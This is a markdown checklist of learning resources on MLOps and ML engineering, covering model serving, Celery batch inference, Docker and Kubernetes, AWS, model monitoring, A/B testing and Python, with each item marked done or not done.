- [ ] [Youtube: MLOps #31 Path to Production and Monetizing Machine Learning // Vin Vashishta - Data Scientist](https://www.youtube.com/watch?v=voO0B0_BsuQ) `0:56:35`
- [ ] [Youtube: MLOps #35: Streaming Machine Learning with Apache Kafka and Tiered Storage // Kai Waehner, Confluent](https://www.youtube.com/watch?v=Ur969-WX1BY) `0:52:50`
- [ ] [Youtube: Luigi in Production // MLOps Coffee Sessions #18 // Luigi Patruno ML in Production](https://www.youtube.com/watch?v=ShBod1yXUeg) `0:47:23`
- [ ] [Youtube: The Current MLOps Landscape // Nathan Benaich & Timothy Chen // MLOps Meetup #43](https://www.youtube.com/watch?v=i6HZ2vjFLIs) `0:58:31`
- [ ] [Youtube: MLSys Seminars Fall 2020](https://www.youtube.com/playlist?list=PLSrTvUm384I9PV10koj_cqit9OfbJXEkq)
- [X] [Stanford MLSys Seminar Episode 0: ML + Systems](https://www.youtube.com/watch?v=OEiNnfdxBRE) `0:11:49`
- [ ] [Stanford MLSys Seminar Episode 1: Marco Tulio Ribeiro](https://www.youtube.com/watch?v=VqiTtdY58Ts) `1:00:38`
- [ ] [Stanford MLSys Seminar Episode 2: Matei Zaharia](https://www.youtube.com/watch?v=nCQ9WqXPIS4) `0:59:44`
- [ ] [Stanford MLSys Seminar Episode 3: Virginia Smith](https://www.youtube.com/watch?v=laCyJICLyWg) `1:00:55`
- [ ] [Stanford MLSys Seminar Episode 4: Alex Ratner](https://www.youtube.com/watch?v=pDVV4zKNqIE) `1:13:34`
- [X] [Stanford MLSys Seminar Episode 5: Chip Huyen](https://www.youtube.com/watch?v=c_AUuTuPA5k) `1:06:44`
- [ ] [Youtube: Xavier Amatriain on Practical Deep Learning Systems (Full Stack Deep Learning - November 2019)](https://www.youtube.com/watch?v=5ygO8FxNB8c&list=PL1T8fO7ArWlf4EkqeguoD70LsnOJ7c9Ib&index=4)
- [ ] [Article: Decoding Netflix: Metaflow](https://medium.com/acing-ai/decoding-netflix-metaflow-2ad84b36199e)
- [ ] [Youtube: Avoid cascading failures in a distributed system](https://www.youtube.com/watch?v=xrizarXJgC8)
- [ ] [Youtube: How databases scale writes: The power of the log](https://www.youtube.com/watch?v=_5vrfuwhvlQ)
- [ ] [Youtube: How to avoid a single point of failure in distributed systems](https://www.youtube.com/watch?v=-BOysyYErLY)
- [ ] [Youtube: How to start with distributed systems? Beginner's guide to scaling systems.](https://www.youtube.com/watch?v=SqcXvc3ZmRU)
- [ ] [Youtube: What is Distributed Caching? Explained with Redis!](https://www.youtube.com/watch?v=U3RkDLtS7uY)
- [X] [Youtube: Why do Databases fail? AntiPatterns to avoid!](https://www.youtube.com/watch?v=9T-gNZ5bGCw)
- [ ] [Youtube: A friendly introduction to System Design](https://www.youtube.com/watch?v=quLrc3PbuIw)
- [ ] [Youtube: Designing Instagram: System Design of News Feed](https://www.youtube.com/watch?v=QmX2NPkJTKg)
- [ ] [Youtube: Introduction to NoSQL databases](https://www.youtube.com/watch?v=xQnIN9bW0og)
- [ ] [Youtube: System Design Basics: Horizontal vs. Vertical Scaling](https://www.youtube.com/watch?v=xpDnVSmNFX0)
- [ ] [Youtube: What is an API and how do you design it?](https://www.youtube.com/watch?v=_YlYuNMTCc8)
- [ ] [Youtube: Service discovery and heartbeats in micro-services](https://www.youtube.com/watch?v=lWE_UIbm8NA)
- [ ] [Youtube: System Design: Tinder as a microservice architecture](https://www.youtube.com/watch?v=tndzLznxq40)
- [X] [Youtube: What is Load Balancing?](https://www.youtube.com/watch?v=K0Ta65OqQkY)
- [X] [Youtube: What is a microservice architecture and it's advantages?](https://www.youtube.com/watch?v=qYhRvH9tJKw)
- [X] [Youtube: What is Consistent Hashing and Where is it used?](https://www.youtube.com/watch?v=zaRkONvyGr8)
- [X] [Youtube: What is a Message Queue and Where is it used?](https://www.youtube.com/watch?v=oUJbuFMyBDk)
- [ ] [Youtube: 5 Tips for System Design Interviews](https://www.youtube.com/watch?v=CtmBGH8MkX4)
- [ ] [Youtube: Whatsapp System Design: Chat Messaging Systems for Interviews](https://www.youtube.com/watch?v=vvhC64hQZMk)
- [ ] [Youtube: Capacity Estimation: How much data does YouTube store daily?](https://www.youtube.com/watch?v=0myM0k1mjZw)
- [ ] [Youtube: What is Database Sharding?](https://www.youtube.com/watch?v=5faMjKuB9bc)
- [ ] [Youtube: How Netflix onboards new content: Video Processing at scale](https://www.youtube.com/watch?v=x9Hrn0oNmJM)
- [ ] [Youtube: What is the Publisher Subscriber Model?](https://www.youtube.com/watch?v=FMhbR_kQeHw)
- [ ] [Youtube: Distributed Consensus and Data Replication strategies on the server](https://www.youtube.com/watch?v=GeGxgmPTe4c)
- [ ] [Youtube: System design : Design Autocomplete or Typeahead Suggestions for Google search](https://www.youtube.com/watch?v=us0qySiUsGU)
- [ ] [Youtube: Relational database index vs. NoSQL index](https://www.youtube.com/watch?v=mTNkqMDCasI)
- [ ] [Youtube: What's an Event Driven System?](https://www.youtube.com/watch?v=rJHTK2TfZ1I)
- [ ] [Youtube: Distributed Consensus and Data Replication strategies on the server](https://www.youtube.com/watch?v=GeGxgmPTe4c)
- [ ] [Youtube: What is an API and how do you design it?](https://www.youtube.com/watch?v=_YlYuNMTCc8)
- [ ] [Youtube: What is Distributed Caching? Explained with Redis!](https://www.youtube.com/watch?v=U3RkDLtS7uY)
- [ ] [Youtube: Service discovery and heartbeats in micro-services](https://www.youtube.com/watch?v=lWE_UIbm8NA)
- [ ] [Youtube: Relational database index vs. NoSQL index](https://www.youtube.com/watch?v=mTNkqMDCasI)
- [ ] [Youtube: How Netflix onboards new content: Video Processing at scale](https://www.youtube.com/watch?v=x9Hrn0oNmJM)
- [ ] [Youtube: How to start with distributed systems? Beginner's guide to scaling systems.](https://www.youtube.com/watch?v=SqcXvc3ZmRU)
- [ ] [Youtube: Capacity Estimation: How much data does YouTube store daily?](https://www.youtube.com/watch?v=0myM0k1mjZw)
- [ ] [Youtube: How databases scale writes: The power of the log](https://www.youtube.com/watch?v=_5vrfuwhvlQ)
- [ ] [Youtube: System design : Design Autocomplete or Typeahead Suggestions for Google search](https://www.youtube.com/watch?v=us0qySiUsGU)
- [X] [Youtube: Human-Centric Machine Learning Infrastructure @Netflix](https://www.youtube.com/watch?v=XV5VGddmP24&feature=youtu.be)
### Be able to serve ML models
- [ ] [Article: The implications of pickling ML models](https://uwekorn.com/2021/04/26/implications-of-pickling-ml-models.html)
- [X] [Article: Deploy a Keras Deep Learning Project to Production with Flask](https://www.curiousily.com/posts/deploy-keras-deep-learning-project-to-production-with-flask/)
- [X] [Article: Deploy BERT for Sentiment Analysis as REST API using PyTorch, Transformers by Hugging Face and FastAPI](https://www.curiousily.com/posts/deploy-bert-for-sentiment-analysis-as-rest-api-using-pytorch-transformers-by-hugging-face-and-fastapi/)
- [ ] [Article: Microservice in Python using FastAPI](https://dev.to/paurakhsharma/microservice-in-python-using-fastapi-24cc)
- [X] [Article: Selecting gunicorn worker types for different python web applications.](https://medium.com/@nhudinhtuan/gunicorn-worker-types-practice-advice-for-better-performance-7a299bb8f929)
- [X] [Article: Better performance by optimizing Gunicorn config](https://medium.com/building-the-system/gunicorn-3-means-of-concurrency-efbb547674b7)
- [X] [Article: Exponential Backoff And Jitter](https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/)
- [X] [Article: How to Serve Models](http://bugra.github.io/posts/2020/5/25/how-to-serve-model/)
- [X] [Article: MLOps concepts for busy engineers: model serving](https://spell.ml/blog/mlops-concepts-model-serving-X385lREAACcAAGzS)
- [X] [Article: MLOps concepts for busy engineers: model serving](https://spell.ml/blog/mlops-concepts-model-serving-X385lREAACcAAGzS)
- [ ] [Article: Understanding TensorFlow Serving](https://medium.com/acing-ai/understanding-tensorflow-serving-faca576b558c)
- [ ] [Article: Serving models using Tensorflow Serving and Docker](https://medium.com/acing-ai/model-serving-using-tensorflow-serving-and-docker-492a347eb934)
- [X] [Article: Batch Inference vs Online Inference](https://mlinproduction.com/batch-inference-vs-online-inference/)
- [X] [Article: Online batching with Spell serving](https://spell.ml/blog/online-batching-with-spell-serving-X_OKiBAAAASq6cL0)
- [ ] [Article: Machine Learning System Design: Real-time processing](https://medium.com/acing-ai/machine-learning-system-design-real-time-processing-6a952793925)
- [ ] [Article: Machine Learning System Design: Models-as-a-service](https://medium.com/acing-ai/machine-learning-system-design-models-as-a-service-32666eba0e6)
- [X] [Article: What Does it Mean to Deploy a Machine Learning Model? (Deployment Series: Guide 01)](https://mlinproduction.com/what-does-it-mean-to-deploy-a-machine-learning-model-deployment-series-01/)
- [X] [Article: Software Interfaces for Machine Learning Deployment (Deployment Series: Guide 02)](https://mlinproduction.com/software-interfaces-for-machine-learning-deployment-deployment-series-02/)
- [X] [Article: Batch Inference for Machine Learning Deployment (Deployment Series: Guide 03)](https://mlinproduction.com/batch-inference-for-machine-learning-deployment-deployment-series-03/)
- [X] [Article: The Challenges of Online Inference (Deployment Series: Guide 04)](https://mlinproduction.com/the-challenges-of-online-inference-deployment-series-04/)
- [X] [Article: Online Inference for ML Deployment (Deployment Series: Guide 05)](https://mlinproduction.com/online-inference-for-ml-deployment-deployment-series-05/)
- [X] [Article: Model Registries for ML Deployment (Deployment Series: Guide 06)](https://mlinproduction.com/model-registries-for-ml-deployment-deployment-series-06/)
- [X] [Video: You trained a machine learning model. Now what?](https://www.youtube.com/watch?v=Vugbn17LDPQ)
- [X] [Article: How Data Leakage Impacts Machine Learning Models](https://mlinproduction.com/data-leakage/)
- [X] [Article: 5 Challenges to Running Machine Learning Systems in Production](https://mlinproduction.com/5-challenges-to-ml-in-production-solve-them-with-aws-sagemaker/)
- [ ] [Article: Enabling Machine-Learning-as-a-Service Through Privacy Preserving Machine Learning](https://mlinproduction.com/enabling-machine-learning-as-service-through-privacy-preserving-ml/)
- [X] [Article: Shadow mode deployments](http://nlathia.github.io/2020/07/Shadow-mode-deployments.html)
- [X] [Cortex Blog](https://www.cortex.dev/learn)
- [X] [Server-side batching: Scaling inference throughput in machine learning](https://www.cortex.dev/post/server-side-batching-scaling-inference-throughput)
- [X] [How we served 1,000 models on GPUs for $0.47](https://www.cortex.dev/post/how-we-served-1-000-models-on-gpus)
- [X] [Designing a machine learning platform for both data scientists and engineers](https://www.cortex.dev/post/designing-a-machine-learning-platform-for-both-data-scientists-and-engineers)
- [X] [How to serve batch predictions with TensorFlow Serving](https://www.cortex.dev/post/batch-prediction-with-tensorflow-serving)
- [X] [How to deploy Transformer models for language tasks](https://www.cortex.dev/post/how-to-deploy-text-transformer-models)
- [X] [How we scale machine learning model deployment on Kubernetes](https://www.cortex.dev/post/scale-machine-learning-model-deployment-kubernetes)
- [X] [Why we built a serverless machine learning platform—instead of using AWS Lambda](https://www.cortex.dev/post/serverless-machine-learning-aws-lambda)
- [X] [Why we don’t deploy machine learning models with Flask](https://www.cortex.dev/post/dont-deploy-machine-learning-models-with-flask)
- [X] [How to deploy machine learning models from a notebook to production](https://www.cortex.dev/post/deploy-machine-learning-models-from-a-notebook-to-production)
- [X] [A/B testing machine learning models in production](https://www.cortex.dev/post/a-b-testing-machine-learning-models)
- [X] [How to deploy 1,000 models on one CPU with TensorFlow Serving](https://www.cortex.dev/post/deploy-tensorflow-serving-multi-model-caching)
- [X] [How to reduce the cost of machine learning inference](https://www.cortex.dev/post/reduce-machine-learning-inference-cost)
- [X] [Improve NLP inference throughput 40x with ONNX and Hugging Face](https://www.cortex.dev/post/40x-nlp-inference-with-hugging-face-and-onnx)
- [X] [How to deploy PyTorch Lightning models to production](https://www.cortex.dev/post/deploy-pytorch-lightning-models)
- [X] [Django Best Practices](http://slides.com/sudipkafle/django-best-practices)
- [ ] [Udacity: Authentication & Authorization: OAuth](https://www.udacity.com/course/authentication-authorization-oauth--ud330)
- [ ] [Udacity: HTTP & Web Servers](https://www.udacity.com/course/http-web-servers--ud303)
- [ ] [Udacity: Designing RESTful APIs](https://www.udacity.com/course/designing-restful-apis--ud388)
- [ ] [Udacity: Client-Server Communication](https://www.udacity.com/course/client-server-communication--ud897)
- [X] [Youtube: PyConBY 2020: Sebastian Ramirez - Serve ML models easily with FastAPI](https://www.youtube.com/watch?v=z9K5pwb0rt8)
- [X] [Youtube: FastAPI from the ground up](https://www.youtube.com/watch?v=3DLwPcrE5mA)
- [X] [Youtube: Python pydantic Introduction – Give your data classes super powers](https://www.youtube.com/watch?v=WJmqgJn9TXg)
- [X] [Youtube: PyData Vancouver meetup: cortex.dev : Serving machine learning models in production](https://www.youtube.com/watch?v=_2HMDhgPkSQ)
- [X] [Youtube: Lecture 11A: Deploying ML Models (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=jFflwpx4iK0) `0:53:25`
- [ ] [Youtube: Hands-on serving models using KFserving // Theofilos Papapanagiotou // MLOps Meetup #40](https://www.youtube.com/watch?v=VtZ9LWyJPdc) `0:57:40`
- [X] [Youtube: Shawn Scully: Production and Beyond: Deploying and Managing Machine Learning Models](https://www.youtube.com/watch?v=q-VPALG6ogY&feature=youtu.be)
### Be able to setup batch inference
- [X] [Article: Celery Execution Pools: What is it all about?](https://www.distributedpython.com/2018/10/26/celery-execution-pool/)
- [X] [Article: Distill: Why do we need Flask, Celery, and Redis? (with McDonalds in Between)](https://ljvmiranda921.github.io/notebook/2019/11/08/flask-redis-celery-mcdo/)
- [X] [Article: Celery: an overview of the architecture and how it works](https://www.vinta.com.br/blog/2017/celery-overview-archtecture-and-how-it-works/)
- [ ] [Article: Unit Testing Celery Tasks](https://www.distributedpython.com/2018/05/01/unit-testing-celery-tasks/)
- [ ] [Article: Testing Celery Chains](https://www.distributedpython.com/2018/05/15/testing-celery-chains/)
- [ ] [Article: Task Routing in Celery](https://www.distributedpython.com/2018/05/29/task-routing/)
- [ ] [Article: Dynamic Task Routing in Celery](https://www.distributedpython.com/2018/06/05/dynamic-task-routing/)
- [ ] [Article: Dockerize a Celery app with Django and RabbitMQ](https://www.distributedpython.com/2018/06/12/celery-django-docker/)
- [ ] [Article: How to call a Celery task from another app](https://www.distributedpython.com/2018/06/19/call-celery-task-outside-codebase/)
- [ ] [Article: Distributed Monte Carlo with Celery chords](https://www.distributedpython.com/2018/06/26/celery-monte-carlo/)
- [ ] [Article: An incredibly simple no-frills Celery setup](https://www.distributedpython.com/2018/07/03/simple-celery-setup/)
- [ ] [Article: 3 Strategies to Customise Celery logging handlers](https://www.distributedpython.com/2018/08/28/celery-logging/)
- [ ] [Article: Celery task exceptions and automatic retries](https://www.distributedpython.com/2018/09/04/error-handling-retry/)
- [X] [Article: Concurrency and Parallelism](https://www.distributedpython.com/2018/09/14/concurrency-and-parallelism/)
- [ ] [Article: Celery, docker and the missing startup banner](https://www.distributedpython.com/2018/10/01/celery-docker-startup/)
- [ ] [Article: Monitoring a Dockerized Celery Cluster with Flower](https://www.distributedpython.com/2018/10/13/flower-docker/)
- [ ] [Article: Quick Guide: Custom Celery Task Logger](https://www.distributedpython.com/2018/11/06/celery-task-logger-format/)
- [ ] [Article: Celery on Docker: From the Ground up](https://www.distributedpython.com/2018/11/15/celery-docker/)
- [ ] [Article: Auto-reload Celery on code changes](https://www.distributedpython.com/2019/04/23/celery-reload/)
### Be able to build interactive UI for models
- [X] [Article: Build and Deploy a Dashboard with Streamlit](https://www.maartengrootendorst.com/blog/streamlit/)
- [X] [Article: New layout options for Streamlit](https://blog.streamlit.io/introducing-new-layout-options-for-streamlit/)
### Be able to use Docker for containerization
- [X] [Article: How To Pass Environment Info During Docker Builds](https://blog.bitsrc.io/how-to-pass-environment-info-during-docker-builds-1f7c5566dd0e)
- [X] [Article: Pass Docker Environment Variables During The Image Build](https://vsupalov.com/docker-build-pass-environment-variables/)
- [X] [Article: Setting Default Docker Environment Variables During Image Build](https://vsupalov.com/docker-build-time-env-values/)
- [X] [Article: Docker Explained Visually, For Non-Technical Folks](https://www.iteachrecruiters.com/blog/docker-explained-visually-for-non-technical-folks/)
- [X] [Article: Tensorflow in Docker](http://blog.tabanpour.info/projects/2018/09/07/tf-docker-kube.html)
- [X] [Article: Enough Docker to be Dangerous](http://seankross.com/2017/09/17/Enough-Docker-to-be-Dangerous.html)
- [X] [Article: How Docker Can Help You Become A More Effective Data Scientist](https://towardsdatascience.com/how-docker-can-help-you-become-a-more-effective-data-scientist-7fc048ef91d5)
- [ ] [Article: Deploying conda environments in (Docker) containers - how to do it right](https://uwekorn.com/2021/03/01/deploying-conda-environments-in-docker-how-to-do-it-right.html)
- [X] [Article: Configuring Gunicorn for Docker](https://pythonspeed.com/articles/gunicorn-in-docker/)
- [X] [Article: How to scale services using Docker Compose](https://medium.com/@karthi.net/how-to-scale-services-using-docker-compose-31d7b83a6648)
- [X] [Article: A Beginner-Friendly Introduction to Containers, VMs and Docker](https://www.freecodecamp.org/news/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b/)
- [X] [Article: Smaller Docker images with Conda](https://jcristharif.com/conda-docker-tips.html)
- [X] [Pluralsight: Docker and Containers: The Big Picture](https://www.pluralsight.com/courses/docker-containers-big-picture)
- [X] [Article: Docker for Machine Learning – Part I](https://mlinproduction.com/docker-for-ml-part-1/)
- [X] [Article: Docker for Machine Learning – Part II](https://mlinproduction.com/docker-for-ml-part-2/)
- [X] [Article: Docker for Machine Learning – Part III](https://mlinproduction.com/docker-for-ml-part-3/)
- [X] [Article: Using Docker to Generate Machine Learning Predictions in Real Time](https://mlinproduction.com/docker-for-ml-part-4/)
- [ ] [Article: Connection refused? Docker networking and how it impacts your image](https://pythonspeed.com/articles/docker-connection-refused/)
- [ ] [Article: Faster or slower: the basics of Docker build caching](https://pythonspeed.com/articles/docker-caching-model/)
- [ ] [Article: Where’s your code? Debugging ImportError and ModuleNotFoundErrors in your Docker image](https://pythonspeed.com/articles/importerror-docker/)
- [ ] [Article: A tableau of crimes and misfortunes: the ever-useful docker history](https://pythonspeed.com/articles/docker-history/)
- [ ] [Article: Broken by default: why you should avoid most Dockerfile examples](https://pythonspeed.com/articles/dockerizing-python-is-hard/)
- [ ] [Article: A review of the official Dockerfile best practices: good, bad, and insecure](https://pythonspeed.com/articles/official-docker-best-practices/)
- [ ] [Article: The best Docker base image for your Python application (February 2021)](https://pythonspeed.com/articles/base-image-python-docker-images/)
- [ ] [Article: A deep dive into the official Docker image for Python](https://pythonspeed.com/articles/official-python-docker-image/)
- [ ] [Article: Using Alpine can make Python Docker builds 50× slower](https://pythonspeed.com/articles/alpine-docker-python/)
- [ ] [Article: Building on solid ground: ensuring reproducible Docker builds for Python](https://pythonspeed.com/articles/reproducible-docker-builds-python/)
- [ ] [Article: Installing system packages in Docker with minimal bloat](https://pythonspeed.com/articles/system-packages-docker/)
- [ ] [Article: Less capabilities, more security: minimizing privilege escalation in Docker](https://pythonspeed.com/articles/root-capabilities-docker-security/)
- [ ] [Article: Avoiding insecure images from Docker build caching](https://pythonspeed.com/articles/docker-cache-insecure-images/)
- [ ] [Article: Build secrets in Docker and Compose, the secure way](https://pythonspeed.com/articles/build-secrets-docker-compose/)
- [ ] [Article: Security scanners for Python and Docker: from code to dependencies](https://pythonspeed.com/articles/docker-python-security-scan/)
- [ ] [Article: The high cost of slow Docker builds](https://pythonspeed.com/articles/high-cost-slow-docker-builds/)
- [ ] [Article: Faster Docker builds with pipenv, poetry, or pip-tools](https://pythonspeed.com/articles/pipenv-docker/)
- [ ] [Article: Elegantly activating a virtualenv in a Dockerfile](https://pythonspeed.com/articles/activate-virtualenv-dockerfile/)
- [ ] [Article: Poetry vs. Docker caching: Fight!](https://pythonspeed.com/articles/poetry-vs-docker-caching/)
- [ ] [Article: Speed up pip downloads in Docker with BuildKit’s new caching](https://pythonspeed.com/articles/docker-cache-pip-downloads/)
- [ ] [Article: Multi-stage builds #1: Smaller images for compiled code](https://pythonspeed.com/articles/smaller-python-docker-images/)
- [ ] [Article: Multi-stage builds #2: Python specifics—virtualenv, –user, and other methods](https://pythonspeed.com/articles/multi-stage-docker-python/)
- [ ] [Article: Multi-stage builds #3: Why your build is surprisingly slow, and how to speed it up](https://pythonspeed.com/articles/faster-multi-stage-builds/)
- [ ] [Article: Configuring Gunicorn for Docker](https://pythonspeed.com/articles/gunicorn-in-docker/)
- [ ] [Article: Activating a Conda environment in your Dockerfile](https://pythonspeed.com/articles/activate-conda-dockerfile/)
- [ ] [Article: Shrink your Conda Docker images with conda-pack](https://pythonspeed.com/articles/conda-docker-image-size/)
- [ ] [Article: What’s running in production? Making your Docker images identifiable](https://pythonspeed.com/articles/identifying-images/)
- [ ] [Article: Your Docker build needs a smoke test](https://pythonspeed.com/articles/test-your-docker-build/)
- [ ] [Article: Docker BuildKit: faster builds, new features, and now it’s stable](https://pythonspeed.com/articles/docker-buildkit/)
- [ ] [Article: Docker vs. Singularity for data processing: UIDs and filesystem access](https://pythonspeed.com/articles/containers-filesystem-data-processing/)
- [ ] [Article: Where’s that log file? Debugging failed Docker builds](https://pythonspeed.com/articles/debugging-docker-build/)
- [ ] [Article: An Introduction to Kubernetes for Data Scientists](https://mlinproduction.com/intro-to-kubernetes/)
- [ ] [Article: How to Use Kubernetes Pods for Machine Learning](https://mlinproduction.com/k8s-pods/)
- [ ] [Article: Kubernetes Jobs for Machine Learning](https://mlinproduction.com/k8s-jobs/)
- [ ] [Article: Kubernetes CronJobs for Machine Learning](https://mlinproduction.com/k8s-cronjobs/)
- [ ] [Article: Kubernetes Deployments for Machine Learning](https://mlinproduction.com/k8s-deployments/)
- [ ] [Article: Kubernetes Services for Machine Learning](https://mlinproduction.com/k8s-services/)
- [ ] [“Let’s use Kubernetes!” Now you have 8 problems](https://pythonspeed.com/articles/dont-need-kubernetes/)
- [ ] [Article: Kubernetes for Python Developers: Part 1](https://www.distributedpython.com/2018/11/28/kubernetes-python-developers-part-1/)
- [X] [Doc: Environment variables in Compose](https://docs.docker.com/compose/environment-variables/)
- [X] [Pluralsight: Docker and Kubernetes: The Big Picture](https://www.pluralsight.com/courses/docker-kubernetes-big-picture)
- [ ] [Udacity: Scalable Microservices with Kubernetes](https://www.udacity.com/course/scalable-microservices-with-kubernetes--ud615)
- [X] [Youtube: Docker](https://uniroma1.zoom.us/rec/share/c2HsnkU5-DSdKWatv9AlmEjLM0a_i741VtnAZOx-eea2loTltiFPKBX196UaT8_3.-B4RbvXecplLujXK?startTime=1620810184000)
- [X] [Youtube: Why Your Web Server Should Log to Stdout (Especially with Docker)](https://www.youtube.com/watch?v=aQikNWEaJUQ&feature=emb_logo)
### Be able to use Cloud
- [X] [Article: A deep dive into AWS spot instance interruptions](https://spell.ml/blog/aws-spot-interrupts-X_ZJ6xAAACEA9fGx)
- [ ] [Article: Getting started with large-scale ETL jobs using Dask and AWS EMR](https://spell.ml/blog/large-scale-etl-jobs-using-dask-Xyl8GhEAACQAjK6h)
- [X] [Datacamp: Cloud Computing for Everyone](https://www.datacamp.com/courses/cloud-computing-for-everyone)
- [X] [Pluralsight: AWS Developer: The Big Picture](https://www.pluralsight.com/courses/aws-developer-big-picture)
- [X] [Pluralsight: AWS Networking Deep Dive: Virtual Private Cloud (VPC)](https://www.pluralsight.com/courses/aws-networking-deep-dive-vpc)
- [X] [Pluralsight: AWS VPC Operations](https://www.pluralsight.com/courses/aws-vpc-operations)
- [X] [Pluralsight: Building Applications Using Elastic Beanstalk](https://www.pluralsight.com/courses/elastic-beanstalk-building-applications)
- [X] [Udemy: AWS Concepts](https://www.udemy.com/aws-concepts)
- [X] [Udemy: AWS Certified Developer - Associate 2018](https://www.udemy.com/aws-certified-developer-associate/)
- [X] [Whitepaper: Architecting for the Cloud AWS Best Practices](https://d1.awsstatic.com/whitepapers/AWS_Cloud_Best_Practices.pdf)
- [X] [Whitepaper: AWS Well-Architected Framework](https://d1.awsstatic.com/whitepapers/architecture/AWS_Well-Architected_Framework.pdf)
- [X] [Whitepaper: AWS Security Best Practices](https://d1.awsstatic.com/whitepapers/Security/AWS_Security_Best_Practices.pdf)
- [X] [Whitepaper: Blue/Green Deployments on AWS](https://d1.awsstatic.com/whitepapers/AWS_Blue_Green_Deployments.pdf)
- [X] [Whitepaper: Microservices on AWS](https://docs.aws.amazon.com/aws-technical-content/latest/microservices-on-aws/microservices-on-aws.pdf)
- [X] [Whitepaper: Optimizing Enterprise Economics with Serverless Architectures](https://d1.awsstatic.com/whitepapers/optimizing-enterprise-economics-serverless-architectures.pdf)
- [X] [Whitepaper: Practicing Continuous Integration and Continuous Delivery on AWS](https://d1.awsstatic.com/whitepapers/DevOps/practicing-continuous-integration-continuous-delivery-on-AWS.pdf)
- [X] [Whitepaper: Running Containerized Microservices on AWS](https://d1.awsstatic.com/whitepapers/DevOps/running-containerized-microservices-on-aws.pdf)
### Be familiar with serverless architecture
- [X] [Udemy: Serverless Concepts](https://www.udemy.com/serverless-concepts/)
- [X] [Whitepaper: Serverless Architectures with AWS Lambda](https://d1.awsstatic.com/whitepapers/serverless-architectures-with-aws-lambda.pdf)
- [X] [Youtube: Deploying a machine learning model to the cloud using AWS Lambda](https://www.youtube.com/watch?v=4ocbx9IeBMU&feature=youtu.be)
### Be able to monitor ML models
- [X] [Article: Production Machine Learning Monitoring: Outliers, Drift, Explainers & Statistical Performance](https://towardsdatascience.com/production-machine-learning-monitoring-outliers-drift-explainers-statistical-performance-d9b1d02ac158)
- [X] [Article: How to Monitor Models](http://bugra.github.io/posts/2020/11/24/how-to-monitor-models/)
- [ ] [Article: The Playbook to Monitor Your Model’s Performance in Production](https://towardsdatascience.com/the-playbook-to-monitor-your-models-performance-in-production-ec06c1cc3245)
- [X] [Article: Monitoring your Machine Learning Model](https://www.maartengrootendorst.com/blog/monitor/)
- [X] [Article: Preventing model drift with continuous monitoring and deployment using Github Actions and Algorithmia Insights](https://algorithmia.com/blog/preventing-model-drift-with-continuous-monitoring-and-deployment-using-github-actions-and-algorithmia-insights)
- [ ] [Article: Continuous monitoring for data projects](https://medium.com/acing-ai/continuous-monitoring-for-data-projects-11fb1c00c7a4)
- [X] [Article: Lessons Learned from 15 Years of Monitoring Machine Learning in Production](https://mlinproduction.com/lessons-learned-from-15-years-of-monitoring-machine-learning-in-production/)
- [X] [Article: Why is it Important to Monitor Machine Learning Models?](https://mlinproduction.com/why-is-it-important-to-monitor-machine-learning-models/)
- [ ] [Article: Using Statistical Distances for Machine Learning Observability](https://towardsdatascience.com/using-statistical-distance-metrics-for-machine-learning-observability-4c874cded78)
- [ ] [Article: The Model’s Shipped; What Could Possibly go Wrong?](https://towardsdatascience.com/the-models-shipped-what-could-possibly-go-wrong-a657ad919868)
- [ ] [Article: Quality assurance in data science](https://medium.com/acing-ai/qa-in-data-science-397476c09910)
- [ ] [Youtube: Instrumentation, Observability & Monitoring of Machine Learning Models](https://www.infoq.com/presentations/instrumentation-observability-monitoring-ml/)
- [ ] [Article: Incident Management in Machine Learning Systems](https://medium.com/acing-ai/incident-management-in-machine-learning-systems-d69b6e39fdee)
- [ ] [Article: ML Infrastructure Tools — ML Observability](https://towardsdatascience.com/ml-infrastructure-tools-ml-observability-8e4d7df6db43)
- [ ] [Youtube: MLOps #24 Monitoring the ML stack // Lina Weichbrodt](https://www.youtube.com/watch?v=Un30yb1WlpU) `0:55:32`
- [X] [Youtube: Josh Wills: Visibility and Monitoring for Machine Learning Models](https://youtu.be/zbS9jBB8fz8)
- [X] [Youtube: Lecture 11B: Monitoring ML Models (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=NfnpPrW30Zo) `0:36:55`
- [ ] [Youtube: OpML '20 - How ML Breaks: A Decade of Outages for One Large ML Pipeline](https://www.youtube.com/watch?v=hBMHohkRgAA)
- [ ] [Youtube: MLOps #28 ML Observability // Aparna Dhinakaran - Chief Product Officer at Arize AI](https://www.youtube.com/watch?v=joTF9BRwWp4) `0:55:04`
- [ ] [Youtube: MLOps #29 Continuous Evaluation & Model Experimentation // Danny Ma - Founder of Sydney Data Science](https://www.youtube.com/watch?v=i4QNpM20QOc) `1:00:46`
- [ ] [Youtube: SE4AI: Quality Assessment in Production](https://www.youtube.com/watch?v=RaaNSXKFDGk) `1:18:45`
- [ ] [Youtube: SE4AI: Infrastructure Quality, Deployment and Operations](https://www.youtube.com/watch?v=iBaJgWjpK24) `1:04:54`
### Be able to perform load testing
- [X] [Youtube: Loading Testing with Python](https://www.youtube.com/playlist?list=PLotCx_Au_rT1LW_qpMWU40Q-vegZua-i8)
### Be able to perform A/B testing
- [X] [Article: Multi-Armed Bandit (MAB) – A/B Testing Sans Regret](https://vwo.com/blog/multi-armed-bandit-algorithm/)
- [X] [Article: When to Run Bandit Tests Instead of A/B/n Tests](https://cxl.com/blog/bandit-tests/)
- [X] [Article: A/B Testing Machine Learning Models (Deployment Series: Guide 08)](https://mlinproduction.com/ab-test-ml-models-deployment-series-08/)
- [ ] [Datacamp: Customer Analytics & A/B Testing in Python](https://www.datacamp.com/courses/customer-analytics-ab-testing-in-python)
- [ ] [Udacity: A/B Testing](https://www.udacity.com/course/ab-testing--ud257)
- [ ] [Udacity: A/B Testing for Business Analysts](https://www.udacity.com/course/ab-testing--ud979)
- [ ] [Youtube: Hypothesis testing with Applications in Data Science](https://www.youtube.com/watch?v=kx-pcQAPvoc) `0:10:33`
### Be proficient in Python
- [ ] [Article: No Really, Python's Pathlib is Great](https://rednafi.github.io/digressions/python/2020/04/13/python-pathlib.html)
- [ ] [Article: When to switch to Python 3.9](https://pythonspeed.com/articles/switch-python-3.9/)
- [X] [Article: A deep dive on Python type hints](http://veekaybee.github.io/2019/07/08/python-type-hints/)
- [X] [Article: I wish I knew these things when I learned Python](http://bugra.github.io/posts/2015/1/3/i-wish-i-knew-these-things-when-i-learned-python/)
- [X] [Article: Python Concurrency: The Tricky Bits](https://python.hamel.dev/concurrency/)
